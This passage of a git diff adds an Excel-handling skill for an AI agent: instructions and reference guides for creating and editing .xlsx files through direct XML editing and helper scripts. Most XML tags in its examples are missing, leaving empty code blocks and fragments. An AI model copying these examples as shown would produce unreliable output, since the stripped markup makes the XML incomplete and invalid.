'spreadsheet', 'Excel', '.xlsx', '.csv', 'pivot table', 'financial model', 'formula', or any request to produce tabular data in Excel format." +license: MIT +metadata: + version: "1.0" + category: productivity + sources: + - ECMA-376 Office Open XML File Formats + - Microsoft Open XML SDK documentation +--- + +# MiniMax XLSX Skill + +Handle the request directly. Do NOT spawn sub-agents. Always write the output file the user requests. + +## Task Routing + +| Task | Method | Guide | +|------|--------|-------| +| **READ** — analyze existing data | `xlsx_reader.py` + pandas | `references/read-analyze.md` | +| **CREATE** — new xlsx from scratch | XML template | `references/create.md` + `references/format.md` | +| **EDIT** — modify existing xlsx | XML unpack→edit→pack | `references/edit.md` (+ `format.md` if styling needed) | +| **FIX** — repair broken formulas in existing xlsx | XML unpack→fix `` nodes→pack | `references/fix.md` | +| **VALIDATE** — check formulas | `formula_check.py` | `references/validate.md` | + +## READ — Analyze data (read `references/read-analyze.md` first) + +Start with `xlsx_reader.py` for structure discovery, then pandas for custom analysis. Never modify the source file. + +**Formatting rule**: When the user specifies decimal places (e.g. "2 decimal places"), apply that format to ALL numeric values — use `f'{v:.2f}'` on every number. Never output `12875` when `12875.00` is required. + +**Aggregation rule**: Always compute sums/means/counts directly from the DataFrame column — e.g. `df['Revenue'].sum()`. Never re-derive column values before aggregation. + +## CREATE — XML template (read `references/create.md` + `references/format.md`) + +Copy `templates/minimal_xlsx/` → edit XML directly → pack with `xlsx_pack.py`. Every derived value MUST be an Excel formula (`SUM(B2:B9)`), never a hardcoded number. Apply font colors per `format.md`. + +## EDIT — XML direct-edit (read `references/edit.md` first) + +**CRITICAL — EDIT INTEGRITY RULES:** +1. **NEVER create a new `Workbook()`** for edit tasks. Always load the original file. +2. The output MUST contain the **same sheets** as the input (same names, same data). +3. Only modify the specific cells the task asks for — everything else must be untouched. +4. **After saving output.xlsx, verify it**: open with `xlsx_reader.py` or `pandas` and confirm the original sheet names and a sample of original data are present. If verification fails, you wrote the wrong file — fix it before delivering. + +Never use openpyxl round-trip on existing files (corrupts VBA, pivots, sparklines). Instead: unpack → use helper scripts → repack. + +**"Fill cells" / "Add formulas to existing cells" = EDIT task.** If the input file already exists and you are told to fill, update, or add formulas to specific cells, you MUST use the XML edit path. Never create a new `Workbook()`. Example — fill B3 with a cross-sheet SUM formula: +```bash +python3 SKILL_DIR/scripts/xlsx_unpack.py input.xlsx /tmp/xlsx_work/ +# Find the target sheet's XML via xl/workbook.xml → xl/_rels/workbook.xml.rels +# Then use the Edit tool to add inside the target element: +# SUM('Sales Data'!D2:D13) +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx +``` + +**Add a column** (formulas, numfmt, styles auto-copied from adjacent column): +```bash +python3 SKILL_DIR/scripts/xlsx_unpack.py input.xlsx /tmp/xlsx_work/ +python3 SKILL_DIR/scripts/xlsx_add_column.py /tmp/xlsx_work/ --col G \ + --sheet "Sheet1" --header "% of Total" \ + --formula '=F{row}/$F$10' --formula-rows 2:9 \ + --total-row 10 --total-formula '=SUM(G2:G9)' --numfmt '0.0%' \ + --border-row 10 --border-style medium +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx +``` +The `--border-row` flag applies a top border to ALL cells in that row (not just the new column). Use it when the task requires accounting-style borders on total rows. + +**Insert a row** (shifts existing rows, updates SUM formulas, fixes circular refs): +```bash +python3 SKILL_DIR/scripts/xlsx_unpack.py input.xlsx /tmp/xlsx_work/ +# IMPORTANT: Find the correct --at row by searching for the label text +# in the worksheet XML, NOT by using the row number from the prompt. +# The prompt may say "row 5 (Office Rent)" but Office Rent might actually +# be at row 4. Always locate the row by its text label first. +python3 SKILL_DIR/scripts/xlsx_insert_row.py /tmp/xlsx_work/ --at 5 \ + --sheet "Budget FY2025" --text A=Utilities \ + --values B=3000 C=3000 D=3500 E=3500 \ + --formula 'F=SUM(B{row}:E{row})' --copy-style-from 4 +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx +``` +**Row lookup rule**: When the task says "after row N (Label)", always find the row by searching for "Label" in the worksheet XML (`grep -n "Label" /tmp/xlsx_work/xl/worksheets/sheet*.xml` or check sharedStrings.xml). Use the actual row number + 1 for `--at`. Do NOT call `xlsx_shift_rows.py` separately — `xlsx_insert_row.py` calls it internally. + +**Apply row-wide borders** (e.g. accounting line on a TOTAL row): +After running helper scripts, apply borders to ALL cells in the target row, not just newly added cells. In `xl/styles.xml`, append a new `` with the desired style, then append a new `` in `` that clones each cell's existing `` but sets the new `borderId`. Apply the new style index to every `` in the row via the `s` attribute: +```xml + + + + + +``` +**Key rule**: When a task says "add a border to row N", iterate over ALL cells A through the last column, not just newly added cells. + +**Manual XML edit** (for anything the helper scripts don't cover): +```bash +python3 SKILL_DIR/scripts/xlsx_unpack.py input.xlsx /tmp/xlsx_work/ +# ... edit XML with the Edit tool ... +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx +``` + +## FIX — Repair broken formulas (read `references/fix.md` first) + +This is an EDIT task. Unpack → fix broken `` nodes → pack. Preserve all original sheets and data. + +## VALIDATE — Check formulas (read `references/validate.md` first) + +Run `formula_check.py` for static validation. Use `libreoffice_recalc.py` for dynamic recalculation when available. + +## Financial Color Standard + +| Cell Role | Font Color | Hex Code | +|-----------|-----------|----------| +| Hard-coded input / assumption | Blue | `0000FF` | +| Formula / computed result | Black | `000000` | +| Cross-sheet reference formula | Green | `00B050` | + +## Key Rules + +1. **Formula-First**: Every calculated cell MUST use an Excel formula, not a hardcoded number +2. **CREATE → XML template**: Copy minimal template, edit XML directly, pack with `xlsx_pack.py` +3. **EDIT → XML**: Never openpyxl round-trip. Use unpack/edit/pack scripts +4. **Always produce the output file** — this is the #1 priority +5. **Validate before delivery**: `formula_check.py` exit code 0 = safe + +## Utility Scripts + +```bash +python3 SKILL_DIR/scripts/xlsx_reader.py input.xlsx # structure discovery +python3 SKILL_DIR/scripts/formula_check.py file.xlsx --json # formula validation +python3 SKILL_DIR/scripts/formula_check.py file.xlsx --report # standardized report +python3 SKILL_DIR/scripts/xlsx_unpack.py in.xlsx /tmp/work/ # unpack for XML editing +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/work/ out.xlsx # repack after editing +python3 SKILL_DIR/scripts/xlsx_shift_rows.py /tmp/work/ insert 5 1 # shift rows for insertion +python3 SKILL_DIR/scripts/xlsx_add_column.py /tmp/work/ --col G ... # add column with formulas +python3 SKILL_DIR/scripts/xlsx_insert_row.py /tmp/work/ --at 6 ... # insert row with data +``` diff --git a/skills/minimax-xlsx/references/create.md b/skills/minimax-xlsx/references/create.md new file mode 100644 index 0000000..8dd42be --- /dev/null +++ b/skills/minimax-xlsx/references/create.md @@ -0,0 +1,691 @@ +# Build New xlsx from Scratch + +Create new, production-quality xlsx files using the XML approach. NEVER use openpyxl +for writing. NEVER hardcode Python-computed values — every derived number must be a +live Excel formula. + +--- + +## When to Use This Path + +Use this document when the user wants: +- A brand-new Excel file that does not yet exist +- A generated report, financial model, or data table +- Any "create / build / generate / make" request + +If the user provides an existing file to modify, switch to `edit.md` instead. + +--- + +## The Non-Negotiable Rules + +Before touching any file, internalize these four rules: + +1. **Formula-First**: Every calculated value (`SUM`, growth rate, ratio, subtotal, etc.) + MUST be written as `SUM(B2:B9)`, not as a hardcoded `5000`. Hardcoded + numbers go stale when source data changes. Only raw inputs and assumption parameters + may be hardcoded values. + +2. **No openpyxl for writing**: The entire file is built by editing XML directly. Python + is only allowed for reading/analysis (`pandas.read_excel()`) and for running helper + scripts (`xlsx_pack.py`, `formula_check.py`). + +3. **Style encodes meaning**: Blue font = user input/assumption. Black font = formula + result. Green font = cross-sheet reference. See `format.md` for the full color system + and style index table. + +4. **Validate before delivery**: Run `formula_check.py` and fix all errors before + handing the file to the user. + +--- + +## Complete Creation Workflow + +### Step 1 — Plan Before Writing + +Define the full structure on paper before touching any XML: + +- **Sheets**: names, order, purpose (e.g., Assumptions / Model / Summary) +- **Layout per sheet**: which rows are headers, inputs, formulas, totals +- **String inventory**: collect all text labels you will need in sharedStrings +- **Style choices**: what number format each column needs (currency, %, integer, year) +- **Cross-sheet links**: which sheets pull data from other sheets + +This planning step prevents the costly cycle of adding strings to sharedStrings +mid-way and recomputing all indices. + +--- + +### Step 2 — Copy Minimal Template + +```bash +cp -r SKILL_DIR/templates/minimal_xlsx/ /tmp/xlsx_work/ +``` + +The template gives you a complete, valid 7-file xlsx skeleton: + +``` +/tmp/xlsx_work/ +├── [Content_Types].xml ← MIME type registry +├── _rels/ +│ └── .rels ← root relationship (points to workbook.xml) +└── xl/ + ├── workbook.xml ← sheet list and calc settings + ├── styles.xml ← 13 pre-built financial style slots + ├── sharedStrings.xml ← text string table (starts empty) + ├── _rels/ + │ └── workbook.xml.rels ← maps rId → file paths + └── worksheets/ + └── sheet1.xml ← one empty sheet +``` + +After copying, rename sheets and add content. Do not create files from scratch — +always start from the template. + +--- + +### Step 3 — Configure Sheet Structure + +#### Single-Sheet Workbook + +The template already has one sheet named "Sheet1". Just change the `name` attribute +in `xl/workbook.xml`: + +```xml + + + +``` + +No other files need to change for a single-sheet workbook. + +#### Multi-Sheet Workbook + +Four files must be kept in sync. Work through them in this order: + +**IMPORTANT — rId collision rule**: In the template's `workbook.xml.rels`, the IDs +`rId1`, `rId2`, and `rId3` are already taken: +- `rId1` → `worksheets/sheet1.xml` +- `rId2` → `styles.xml` +- `rId3` → `sharedStrings.xml` + +New worksheet entries MUST start at `rId4` and count upward. + +**File 1 of 4 — `xl/workbook.xml`** (sheet list): + +```xml + + + + + +``` + +Special characters in sheet names: +- `&` → `&` in XML: `` +- Max 31 characters +- Forbidden: `/ \ ? * [ ] :` +- Sheet names with spaces need single quotes in formula references: `'Q1 Data'!B5` + +**File 2 of 4 — `xl/_rels/workbook.xml.rels`** (ID → file mapping): + +```xml + + + + + + + +``` + +**File 3 of 4 — `[Content_Types].xml`** (MIME type declarations): + +```xml + + + + + + + + + + +``` + +**File 4 of 4 — Create new worksheet XML files** + +Copy `sheet1.xml` to `sheet2.xml` and `sheet3.xml`, then clear the `` content: + +```xml + + + + + + + + + + + +``` + +**Sync checklist** — every time you add a sheet, verify all four are consistent: + +| Check | What to verify | +|-------|---------------| +| `workbook.xml` | New `` exists | +| `workbook.xml.rels` | New `` exists | +| `[Content_Types].xml` | New `` exists | +| Filesystem | `xl/worksheets/sheetN.xml` file actually exists | + +--- + +### Step 4 — Populate sharedStrings + +All text values (headers, row labels, category names, any string the user will read) +must be stored in `xl/sharedStrings.xml`. Cells reference them by 0-based index. + +**Recommended workflow**: collect ALL text you need first, write the complete table once, +then fill in indices while writing worksheet XML. This avoids re-counting indices mid-way. + +```xml + + + Item + FY2023A + FY2024E + FY2025E + YoY Growth + Revenue + Cost of Goods Sold + Gross Profit + EBITDA + Net Income + +``` + +**Attribute rules**: +- `uniqueCount` = number of `` elements (unique strings in the table) +- `count` = total number of cell references to strings across the entire workbook + (if "Revenue" appears in 3 sheets, count is `uniqueCount + 2`) +- For new files where each string appears once, `count == uniqueCount` +- Both attributes MUST be accurate — wrong values trigger warnings in some Excel versions + +**Special character escaping**: + +```xml +R&D Expenses +Revenue < Target + (note) +``` + +**Helper script**: use `shared_strings_builder.py` to generate the complete +`sharedStrings.xml` from a plain list of strings: + +```bash +python3 SKILL_DIR/scripts/shared_strings_builder.py \ + "Item" "FY2024" "FY2025" "Revenue" "Gross Profit" \ + > /tmp/xlsx_work/xl/sharedStrings.xml +``` + +Or interactively from a file listing one string per line: + +```bash +python3 SKILL_DIR/scripts/shared_strings_builder.py --file strings.txt \ + > /tmp/xlsx_work/xl/sharedStrings.xml +``` + +--- + +### Step 5 — Write Worksheet Data + +Edit each `xl/worksheets/sheetN.xml`. Replace the empty `` with rows +and cells. + +#### Cell XML Anatomy + +``` + + ↑ ↑ ↑ + address type style index (from cellXfs in styles.xml) + + 3 + ↑ + value (for t="s": sharedStrings index; for numbers: the number itself) +``` + +#### Data Type Reference + +| Data | `t` attr | XML Example | Notes | +|------|---------|-------------|-------| +| Shared string (text) | `s` | `0` | `` = sharedStrings index | +| Number | omit | `1000000` | default type, `t` omitted | +| Percentage (as decimal) | omit | `0.125` | 12.5% stored as 0.125 | +| Boolean | `b` | `1` | 1=TRUE, 0=FALSE | +| Formula | omit | `SUM(B2:B3)` | `` left empty | +| Cross-sheet formula | omit | `Assumptions!B2` | use s=3 (green) | + +#### A Full Sheet Data Example + +```xml + + + + + + + + + 0 + 1 + 2 + 3 + 4 + + + + + 5 + 85000000 + B2*(1+Assumptions!C3) + C2*(1+Assumptions!D3) + D2/C2-1 + + + + + 7 + B2*Assumptions!B4 + C2*Assumptions!C4 + D2*Assumptions!D4 + D3/C3-1 + + + + + 8 + SUM(B2:B4) + SUM(C2:C4) + SUM(D2:D4) + D5/C5-1 + + + +``` + +#### Column Width and Freeze Pane + +Column widths go **before** ``, freeze pane goes inside ``: + +```xml + + + + + + + + +``` + +--- + +### Step 6 — Apply Styles + +The template's `xl/styles.xml` has 13 pre-built semantic style slots (indices 0–12). +**Read `format.md` for the complete style index table, color system, and how to add new styles.** + +Quick reference for the most common slots: + +| `s` | Role | Example | +|-----|------|---------| +| 4 | Header (bold) | Column/row titles | +| 5 / 6 | Currency input (blue) / formula (black) | `$#,##0` | +| 7 / 8 | Percentage input / formula | `0.0%` | +| 11 | Year (no comma) | 2024 not 2,024 | + +Design principle: Blue = human sets this. Black = Excel computes this. Green = cross-sheet. + +If you need a style not in the 13 pre-built slots, follow the append-only procedure in `format.md` section 3.2. + +--- + +### Step 7 — Formula Cookbook + +#### XML Formula Syntax Reminder + +Formulas in XML have **no leading `=`**: + +```xml + +SUM(B2:B9) +``` + +#### Basic Aggregations + +```xml +SUM(B2:B9) +AVERAGE(B2:B9) +COUNT(B2:B9) +COUNTA(A2:A100) +MAX(B2:B9) +MIN(B2:B9) +``` + +#### Financial Calculations + +```xml + +D5/C5-1 + + +B4*B3 + + +B8/B4 + + +IF(C5=0,0,D5/C5-1) + + +NPV(B1,B3:B7)+B2 +IRR(B2:B7) +``` + +#### Cross-Sheet References + +```xml + +Assumptions!B5 + + +'Q1 Data'!B5 + + +'R&D'!B5 + + +SUM(Data!C2:C1000) + + +SUM(Jan:Dec!B5) +``` + +Cross-sheet formula cells should use `s="3"` (green) to signal the data origin. + +#### Shared Formulas (Same Pattern Repeated Down a Column) + +When many consecutive cells share the same formula structure with only the row number +changing, use shared formulas to keep the XML compact: + +```xml + +C2/B2-1 + + + + + + + + + + + +``` + +Excel adjusts relative references automatically (D3 computes `C3/B3-1`, etc.). +If you have multiple shared formula groups, assign sequential `si` values (0, 1, 2, …). + +#### Absolute References + +```xml + +B5/$B$2 +``` + +The `$` character needs no XML escaping — write it literally. + +#### Lookup Formulas + +```xml + +VLOOKUP(A5,Assumptions!A:C,2,0) + + +INDEX(B:B,MATCH(A5,A:A,0)) + + +XLOOKUP(A5,A:A,B:B) +``` + +--- + +### Step 8 — Pack and Validate + +**Pack**: + +```bash +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ /path/to/output.xlsx +``` + +`xlsx_pack.py` will: +1. Check that `[Content_Types].xml` exists at the root +2. Parse every `.xml` and `.rels` file for well-formedness — abort if any fail +3. Create the ZIP archive with correct compression + +**Validate**: + +```bash +python3 SKILL_DIR/scripts/formula_check.py /path/to/output.xlsx +``` + +`formula_check.py` will: +1. Scan every cell for `` entries (cached error values) — all 7 error types +2. Extract sheet name references from every `` formula +3. Verify each referenced sheet exists in `workbook.xml` + +Fix every reported error before delivery. Exit code 0 = safe to deliver. + +--- + +## Pre-Delivery Checklist + +Run through this list before handing the file to the user: + +- [ ] `formula_check.py` reports 0 errors +- [ ] Every calculated cell has `` — not just `` with a number +- [ ] `sharedStrings.xml` `count` and `uniqueCount` match actual `` count +- [ ] Every cell `s` attribute value is in range `0` to `cellXfs count - 1` +- [ ] Every sheet in `workbook.xml` has a matching entry in `workbook.xml.rels` +- [ ] Every `worksheets/sheetN.xml` file has a matching `` in `[Content_Types].xml` +- [ ] Year columns use `s="11"` (format `0`, no thousands separator) +- [ ] Cross-sheet reference formulas use `s="3"` (green font) +- [ ] Assumption inputs use `s="1"` or `s="5"` or `s="7"` (blue font) + +--- + +## Common Mistakes and Fixes + +| Mistake | Symptom | Fix | +|---------|---------|-----| +| Formula has leading `=` | Cell shows `=SUM(...)` as text | Remove `=` from `` content | +| sharedStrings `count` not updated | Excel warning or blank cells | Count `` elements, update both `count` and `uniqueCount` | +| Style index out of range | File corruption / Excel repair | Ensure `s` < `cellXfs count`; append new `` if needed | +| New sheet rId conflicts with styles/sharedStrings rId | Sheet missing or styles lost | New sheets use rId4, rId5, … (rId1-3 are reserved in template) | +| Sheet name has `&` unescaped in XML | XML parse error | Use `&` in `workbook.xml` name attribute | +| Cross-sheet ref to sheet with space, no quotes | `#REF!` error | Wrap sheet name in single quotes: `'Sheet Name'!B5` | +| Cross-sheet ref to non-existent sheet | `#REF!` error | Check `workbook.xml` sheet list vs formula | +| Number stored as text (`t="s"`) | Left-aligned, can't sum | Remove `t` attribute from number cells | +| Year displayed as `2,024` | Readability issue | Use `s="11"` (numFmtId=1, format `0`) | +| Hardcoded Python result instead of formula | "Dead table" — won't update | Replace `N` with `formula` | + +--- + +## Column Letter Reference + +| Col # | Letter | Col # | Letter | Col # | Letter | +|-------|--------|-------|--------|-------|--------| +| 1 | A | 26 | Z | 27 | AA | +| 28 | AB | 52 | AZ | 53 | BA | +| 54 | BB | 78 | BZ | 79 | CA | + +Python conversion (use when building formulas programmatically): + +```python +def col_letter(n: int) -> str: + """Convert 1-based column number to Excel letter (A, B, ..., Z, AA, AB, ...).""" + result = "" + while n > 0: + n, rem = divmod(n - 1, 26) + result = chr(65 + rem) + result + return result + +def col_number(s: str) -> int: + """Convert Excel column letter to 1-based number.""" + n = 0 + for c in s.upper(): + n = n * 26 + (ord(c) - 64) + return n +``` + +--- + +## Typical Scenario Walkthroughs + +### Scenario A — Three-Year Financial Model (Single Sheet) + +Layout: rows 1-12 = Assumptions (blue inputs) / rows 14-30 = Model (black formulas). + +```xml + + + Metric + FY2023A + FY2024E + FY2025E + Revenue Growth + Gross Margin + Revenue + Gross Profit + + + + + + + 0 + 1 + 2 + 3 + + + + 4 + 0 + 0.12 + 0.15 + + + 5 + 0.45 + 0.46 + 0.47 + + + + 6 + 85000000 + B14*(1+C2) + C14*(1+D2) + + + 7 + B14*B3 + C14*C3 + D14*D3 + + +``` + +### Scenario B — Data + Summary (Two Sheets) + +The `Summary` sheet pulls from `Data` using cross-sheet formulas (green, `s="3"`): + +```xml + + + + 0 + 1 + + + 2 + SUM(Data!C2:C10000) + + + 3 + COUNTA(Data!A2:A10000) + + + 4 + IF(B3=0,0,B2/B3) + + +``` + +### Scenario C — Multi-Department Consolidation + +`Consolidated` sheet sums the same cells from multiple department sheets: + +```xml + + + + 0 + + Dept_Engineering!B5+Dept_Marketing!B5 + + + 1 + SUM(Dept_Engineering!B6,Dept_Marketing!B6) + + +``` + +--- + +## What You Must NOT Do + +- Do NOT use openpyxl or any Python library to write the final xlsx file +- Do NOT hardcode any calculated value — use `` formulas for every derived number +- Do NOT deliver without running `formula_check.py` first +- Do NOT set a cell's `s` attribute to a value >= `cellXfs count` +- Do NOT modify an existing `` entry in `styles.xml` — only append new ones +- Do NOT add a new sheet without updating all four sync points (workbook.xml, + workbook.xml.rels, [Content_Types].xml, actual .xml file) +- Do NOT assign new worksheet rIds that overlap with rId1, rId2, or rId3 (reserved + for sheet1, styles, sharedStrings in the template) diff --git a/skills/minimax-xlsx/references/edit.md b/skills/minimax-xlsx/references/edit.md new file mode 100644 index 0000000..ca70971 --- /dev/null +++ b/skills/minimax-xlsx/references/edit.md @@ -0,0 +1,684 @@ +# Minimal-Invasive Editing of Existing xlsx + +Make precise, surgical changes to existing xlsx files while preserving everything you do not touch: styles, macros, pivot tables, charts, sparklines, named ranges, data validation, conditional formatting, and all other embedded content. + +--- + +## 1. When to Use This Path + +Use the edit (unpack → XML edit → pack) path whenever the task involves **modifying an existing xlsx file**: + +- Template filling — populating designated input cells with values or formulas +- Data updates — replacing outdated numbers, text, or dates in a live file +- Content corrections — fixing wrong values, broken formulas, or mistyped labels +- Adding new data rows to an existing table +- Renaming a sheet +- Applying a new style to specific cells + +Do NOT use this path for creating a brand-new workbook from scratch. For that, see `create.md`. + +--- + +## 2. Why openpyxl round-trip Is Forbidden for Existing Files + +openpyxl `load_workbook()` followed by `workbook.save()` is a **destructive operation** on any file that contains advanced features. The library silently drops content it does not understand: + +| Feature | openpyxl behavior | Consequence | +|---------|-------------------|-------------| +| VBA macros (`vbaProject.bin`) | Dropped entirely | All automation is lost; file saved as `.xlsx` not `.xlsm` | +| Pivot tables (`xl/pivotTables/`) | Dropped | Interactive analysis is destroyed | +| Slicers | Dropped | Filter UI is lost | +| Sparklines (``) | Dropped | In-cell mini-charts disappear | +| Chart formatting details | Partially lost | Series colors, custom axes may revert | +| Print area / page breaks | Sometimes lost | Print layout changes | +| Custom XML parts | Dropped | Third-party data bindings broken | +| Theme-linked colors | May be de-themed | Colors converted to absolute, breaking theme switching | + +Even on a "plain" file without these features, openpyxl may normalize whitespace in XML that Excel relies on, alter namespace declarations, or reset `calcMode` flags. + +**The rule is absolute: never open an existing file with openpyxl for the purpose of re-saving it.** + +The XML direct-edit approach is safe because it operates on the raw bytes. You only change the nodes you touch. Everything else is byte-equivalent to the original. + +--- + +## 3. Standard Operating Procedure + +### Step 1 — Unpack + +```bash +python3 SKILL_DIR/scripts/xlsx_unpack.py input.xlsx /tmp/xlsx_work/ +``` + +The script unzips the xlsx, pretty-prints every XML and `.rels` file, and prints a categorized inventory of key files plus a warning if high-risk content is detected (VBA, pivot tables, charts). + +Read the printed output carefully before proceeding. If the script reports `xl/vbaProject.bin` or `xl/pivotTables/`, follow the constraints in Section 7. + +### Step 2 — Reconnaissance + +Map the structure before touching anything. + +**Identify sheet names and their XML files:** + +``` +xl/workbook.xml → +xl/_rels/workbook.xml.rels → +``` + +The sheet named "Revenue" lives in `xl/worksheets/sheet1.xml`. Always resolve this mapping before editing a worksheet. + +**Understand the shared strings table:** + +```bash +# Count existing entries in xl/sharedStrings.xml +grep -c "" /tmp/xlsx_work/xl/sharedStrings.xml +``` + +Every text cell uses a zero-based index into this table. Know the current count before appending. + +**Understand the styles table:** + +```bash +# Count existing cellXfs entries +grep -c "` — merged cell ranges; row/column insertion shifts these +- `` — condition ranges; row/column insertion shifts these +- `` — validation ranges; row/column insertion shifts these +- `` — table definitions; row insertion inside a table needs `` updates +- `` — sparklines; preserve without modification + +### Step 3 — Map Intent to Minimal XML Changes + +Before writing a single character, produce a written list of exactly which XML nodes change. This prevents scope creep. + +| User intent | Files to change | Nodes to change | +|-------------|----------------|-----------------| +| Change a cell's numeric value | `xl/worksheets/sheetN.xml` | `` inside target `` | +| Change a cell's text | `xl/sharedStrings.xml` (append) + `xl/worksheets/sheetN.xml` | New ``, update cell `` index | +| Change a cell's formula | `xl/worksheets/sheetN.xml` | `` text inside target `` | +| Add a new data row at the bottom | `xl/worksheets/sheetN.xml` + possibly `xl/sharedStrings.xml` | Append `` element | +| Apply a new style to cells | `xl/styles.xml` + `xl/worksheets/sheetN.xml` | Append `` in ``, update `s` attribute on `` | +| Rename a sheet | `xl/workbook.xml` | `name` attribute on `` element | +| Rename a sheet (with cross-sheet formulas) | `xl/workbook.xml` + all `xl/worksheets/*.xml` | `name` attribute + `` text referencing old name | + +### Step 4 — Execute Changes + +Use the Edit tool. Edit the minimum. Never rewrite whole files. + +See Section 4 for precise XML patterns for each operation type. + +### Step 5 — Cascade Check + +After any change that shifts row or column positions, audit all affected XML regions. See Section 5. + +### Step 6 — Pack and Validate + +```bash +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx +python3 SKILL_DIR/scripts/formula_check.py output.xlsx +``` + +The pack script validates XML well-formedness before creating the ZIP. Fix any reported parse errors before packing. After packing, run `formula_check.py` to confirm no formula errors were introduced. + +--- + +## 4. Precise XML Patterns for Common Edits + +### 4.1 Changing a Numeric Cell Value + +Find the `` element in the worksheet XML and replace the `` text. + +**Before:** +```xml + + 1000 + +``` + +**After (new value 1500):** +```xml + + 1500 + +``` + +Rules: +- Do not add or remove the `s` attribute (style) unless explicitly changing the style. +- Do not add a `t` attribute — numbers omit `t` or use `t="n"`. +- Do not change the `r` attribute (cell reference). + +--- + +### 4.2 Changing a Text Cell Value + +Text cells reference the shared strings table by index (`t="s"`). You cannot edit the string in-place without affecting every other cell that uses the same index. The safe approach is to append a new entry. + +**Before — shared strings file (`xl/sharedStrings.xml`):** +```xml + + Revenue + Cost + Margin + Old Label + +``` + +**After — append new string, increment counts:** +```xml + + Revenue + Cost + Margin + Old Label + New Label + +``` + +New string is at index 4 (zero-based). + +**Before — cell in worksheet XML:** +```xml + + 3 + +``` + +**After — point to new index:** +```xml + + 4 + +``` + +Rules: +- Never modify or delete existing `` entries. Only append. +- Both `count` and `uniqueCount` must be incremented together. +- If the new string contains `&`, `<`, or `>`, escape them: `&`, `<`, `>`. +- If the string has leading or trailing spaces, add `xml:space="preserve"` to ``: + ```xml + indented text + ``` + +--- + +### 4.3 Changing a Formula + +Formulas are stored in `` elements **without a leading `=`** (unlike what you type in Excel's UI). + +**Before:** +```xml + + SUM(C2:C9) + 4800 + +``` + +**After (extended range):** +```xml + + SUM(C2:C11) + + +``` + +Rules: +- Clear `` to an empty string when changing the formula. The cached value is now stale. +- Do not add `t="s"` or any type attribute to formula cells. The `t` attribute is absent or uses a result-type value, not a formula marker. +- Cross-sheet references use `SheetName!CellRef`. If the sheet name contains spaces, wrap in single quotes: `'Q1 Data'!B5`. +- The `` text must not include the leading `=`. + +**Before (converting a hardcoded value to a live formula):** +```xml + + 95000 + +``` + +**After:** +```xml + + SUM(D2:D14) + + +``` + +--- + +### 4.4 Adding a New Data Row + +Append after the last `` element inside ``. Row numbers in OOXML are 1-based and must be sequential. + +**Before (last row is row 10):** +```xml + + 3 + 2023 + 88000 + C10*1.1 + + +``` + +**After (new row 11 appended):** +```xml + + 3 + 2023 + 88000 + C10*1.1 + + + 4 + 2024 + 96000 + C11*1.1 + + +``` + +Rules: +- Every `` inside the row must have `r` set to the correct cell address (e.g., `A11`). +- Text cells need `t="s"` and a sharedStrings index in ``. Numeric cells omit `t`. +- Formula cells use `` and an empty ``. +- Copy the `s` attribute from the row above if you want matching styles. Do not invent a style index that does not exist in `styles.xml`. +- If the sheet contains a `` element (e.g., ``), update it to include the new row: ``. +- If the sheet contains a `` referencing a table, update the table's `ref` attribute in the corresponding `xl/tables/tableN.xml` file. + +--- + +### 4.5 Adding a New Column + +Append new `` elements to each existing `` and, if present, update the `` section. + +**Before (rows have columns A–C):** +```xml + + + + + + 0 + 1 + 2 + + + 100 + 200 + 300 + + +``` + +**After (adding column D):** +```xml + + + + + + + 0 + 1 + 2 + 5 + + + 100 + 200 + 300 + A2+B2+C2 + + +``` + +Rules: +- Adding a column at the end (after the last existing column) is safe — no existing formula references shift. +- Inserting a column in the middle shifts all columns to the right, which requires the same cascade updates as row insertion (see Section 5). +- Update the `` element if present. + +--- + +### 4.6 Modifying or Adding Styles + +Styles use a multi-level indirect reference chain. Read `ooxml-cheatsheet.md` for the full chain. The key rule: **only append new entries, never modify existing ones**. + +**Scenario:** Add a blue-font style (for hardcoded input cells) that doesn't yet exist. + +**Step 1 — Check if a matching font already exists in `xl/styles.xml`:** +```xml + + + + + +``` + +If found, note its index (zero-based position in the `` list). If not found, append. + +**Step 2 — Append the new font if needed:** + +Before: +```xml + + ... + ... + ... + +``` + +After: +```xml + + ... + ... + ... + + + + + + + +``` + +**Step 3 — Append a new `` in ``:** + +Before: +```xml + + + + + + + +``` + +After: +```xml + + + + + + + + +``` + +**Step 4 — Apply to target cells:** + +Before: +```xml + + 0.08 + +``` + +After: +```xml + + 0.08 + +``` + +Rules: +- Never delete or reorder existing entries in ``, ``, ``, ``. +- Always update the `count` attribute when appending. +- The new `cellXfs` index = the old `count` value before appending (zero-based: if count was 5, new index is 5). +- Custom `numFmt` IDs must be 164 or above. IDs 0–163 are built-in and must not be re-declared. +- If the desired style already exists elsewhere in the file (on a similar cell), reuse its `s` index rather than creating a duplicate. + +--- + +### 4.7 Renaming a Sheet + +**Only `xl/workbook.xml` needs to change** — unless cross-sheet formulas reference the old name. + +**Before (`xl/workbook.xml`):** +```xml + +``` + +**After:** +```xml + +``` + +**If any formula in any worksheet references the old name, update those too:** + +Before (`xl/worksheets/sheet2.xml`): +```xml +Sheet1!C10 +``` + +After: +```xml +Revenue!C10 +``` + +If the new name contains spaces: +```xml +'Q1 Revenue'!C10 +``` + +Scan all worksheet XML files for the old name: +```bash +grep -r "Sheet1!" /tmp/xlsx_work/xl/worksheets/ +``` + +Rules: +- The `.rels` file and `[Content_Types].xml` do NOT need to change — they reference the XML file path, not the sheet name. +- `sheetId` must not change; it is a stable internal identifier. +- Sheet names are case-sensitive in formula references. + +--- + +## 5. High-Risk Operations — Cascade Effects + +### 5.1 Inserting a Row in the Middle + +Inserting a row at position N shifts all rows from N downward. Every reference to those rows in every XML file must be updated. + +**Files to check and update:** + +| XML region | What to update | Example shift | +|------------|---------------|---------------| +| Worksheet `` attributes | Increment row number for all rows >= N | `r="7"` → `r="8"` | +| All `` within those rows | Increment row number in cell address | `r="A7"` → `r="A8"` | +| All `` formula text in any sheet | Shift absolute row references >= N | `B7` → `B8` | +| `` | Shift start and end rows | `A7:C7` → `A8:C8` | +| `` | Shift range | `A5:D20` → `A5:D21` | +| `` | Shift range | `B6:B50` → `B7:B51` | +| 